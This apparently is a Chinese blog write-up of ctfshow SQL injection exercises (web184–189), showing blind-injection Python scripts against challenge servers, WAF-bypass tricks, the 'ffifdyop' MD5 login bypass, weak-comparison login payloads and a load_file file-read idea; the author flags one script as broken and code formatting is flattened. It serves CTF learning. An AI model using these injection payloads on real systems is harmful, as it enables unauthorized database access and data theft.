ctfshow ,web入门,sql注入题
芜湖,刚刚考完科目三,又是开始学习的一天
web184
之前的懒得重新写了,
这里用"right join"右连接来把两个表连接起来进行查询pass字段,后面的单引号可以用16进制编码绕过
RIGHT JOIN(右连接)
用于获取右表所有记录,即使左表没有对应匹配的记录
过滤了where 所以我们用 on
过滤了单引号 所以我们用char(99) =c
char表 :char表
回显43;
然后我们写个脚本
import requests
url='http://1f6a8d55-3dd2-4924-a125-a22cb98125b5.challenge.ctf.show:8080/select-waf.php'
strflag='{1234567890-qwertyuiopasdfghjklzxcvbnm}'
payload='tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'
flag=''
for i in range(60):if(i<5):continuefor c in range(127):data={'tableName' : payload.format(str(i),c)}rep=requests.post(url,data=data)if(rep.text.find("$user_count = 22;")>0):flag+=chr(c)breakprint('正在盲注第{}位'.format(str(i)))
print('flag is ctfshow{}'.format(flag))
上面的我也不知道哪错了,有大哥路过的话帮俺看看
我又换了种,南方大佬的方法
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
后面是base64编码后的 ctfshow%
like 是匹配带有ctfshow的字段
import requests
import binasciidef to_hex(s):# 字符串转16进制str_16 = binascii.b2a_hex(s.encode('utf-8')) str_16 = bytes.decode(str_16)res = str_16.replace("b'","").replace("'","")return resurl = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = "0x" + to_hex(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43" in res.text:flag += jprint(flag)if j=="}":exit()break
这个OK了
web185
把所有数字都ban掉了,但是我学到了绕过方法
在mysql中 true 代表1 true+true 就是2
然后我们就可以构造数字了
脚本如下
import requestsdef createNum(n):str = 'true'if n == 1:return 'true'else:for i in range(n - 1):str += "+true"return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):str=""str+="chr("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",chr("+createNum(ord(i))+")"return strurl = "http://2a90f1df-1ab5-434c-ac5e-bd9a5fe3aec0.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = change_str(flag + j + "%")data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43;" in res.text:flag += jprint(flag)if j=="}":exit()break
web 186
上一个还能接着用
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requestsdef createNum(n):str = 'true'if n == 1:return 'true'else:for i in range(n - 1):str += "+true"return strdef change_str(s):str=""str+="chr("+createNum(ord(s[0]))+")"for i in s[1:]:str+=",chr("+createNum(ord(i))+")"return strurl = "http://3044fe6f-042f-49ea-a38c-5806a2404c7f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):for j in str:result = change_str(flag + j + "%")#print(result)data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}res = requests.post(url=url, data=data)if "$user_count = 43;" in res.text:flag += jprint(flag)if j=="}":exit()break
web 187
这次是个输入框,看题可知password 需要进行md5加密
然后我学到了这个字符串 :ffifdyop
他的md5恰好是’or’6�]��!r,��b
可以拼接成select * from admin where password=’‘or’6<乱码>’
不光有ffifdyop 还有129581926211651571912466741651878684928 也可达同样的效果
总之,相当于 select * from admin where password=’'or ture
账号:admin
密码:ffifdyop
flag在返回包中
web 188
可以看到是使用用户名查询然后在匹配密码
这里是用了弱比较
if($row['pass']==intval($password)){$ret['msg']='登陆成功';
如果个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,
username=0&password=0
如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符
username=1||1&password=0
web189
用上题的方法不行,看南神博客说用盲注
开局就来个提示,flag在api/index.php中
这次尝试username=0&password=0登录,发现提示密码错误,说明是密码跟上一题不一样了,不是以字母开头的数据。根据提示,flag的位置在一个文件中,可以用load_file来配合regexp来进行盲注
LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
regexp: mysql中的正则表达式操作符
容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注
有问题这个等我整明白再说
web 190-200,再议
ctfshow ,web入门,sql注入题相关推荐
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
- ctfshow web入门 sql注入
无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...
- 《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2
[第一章 web入门]SQL注入-2 一.信息收集 1.首页 2.登录成功会跳转到 3.进行测试判断 二.尝试破解 1.用post型的sqlmap破解 <1>.首先,开burp截包 < ...
- 一道题讲懂SQL盲注 / [第一章 web入门]SQL注入-2
概述 项目地址 本题是一个盲注题,可以基于布尔也可以基于时间,如果不会的话可以根据提示在网址后面加一个?tips=1降低难度成为一个基于报错的盲注. 本题所有脚本均用傻逼爆破,没有用二分法,有兴趣的大 ...
- BUUCTF [第一章 web入门]SQL注入-2
经分析后可知:当输入admin' and 1=3# 时返回为假 {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\ ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
最新文章
- autoware使用相机和深度学习进行目标检测(六)
- NC:潮湿的墙体和家具中微生物迅速增长!
- 大连网络推广明确做好网站标题优化对网站排名的提升影响
- 数据结构与算法—一文多图搞懂双链表
- 【youcans 的 OpenCV 例程 200 篇】110. 投影和雷登变换
- Tcpdump 超级详细的用法
- 十五、K8s helm包管理与应用
- QT开发(三十四)——QT多线程编程
- Head First 设计模式目录
- linux 自动开飞行模式,Android飞行模式灰显不能操作问题分解
- 科普:不给手游平台源码的公司能不能选?
- c语言两位数码管动态显示,十天学会单片机和c语言编程数码管动态显示.pptx
- Origin常见使用问题集锦
- ACDsee的安装过程
- 2022年湖南省初级审计师考试模拟题及答案
- Java程序员工资为什么越来越高?
- 【解决办法】Dell AWCC应用程序不兼容超频不可用
- 2017美国数学建模ICM D题 优化机场安全的乘客吞吐量检查点(Optimizing the Passenger Throughput at an Airport Security Checkpo)
- Exception 异常和自定义异常
- 2000元 组装车 思路
热门文章
- WebService安装中的典型错误(0x8007000d)-WIN7操作系统64位
- 国考省考行测:接语选择题,接下来最可能讲,上文可能谈,引言可能谈,有过渡句,看新主体,无过渡句,看主旨意思
- 七层协议功能及对应协议
- python中getattr详解
- 【AdaSeq基础】30+NER数据汇总,涉及多行业、多模态命名实体识别数据集收集
- 约瑟夫环问题-基础版(数学归纳法)
- 全网最全的Java岗IO流面试题(含答案)
- 国科大的计算机水平如何,清华眼中的国科大是什么级别?国科大厉害还是清北厉害?...
- 如何在手机上打开epub格式电子书
- python pandas rename_Python3 pandas库(10) 修改列名和索引rename()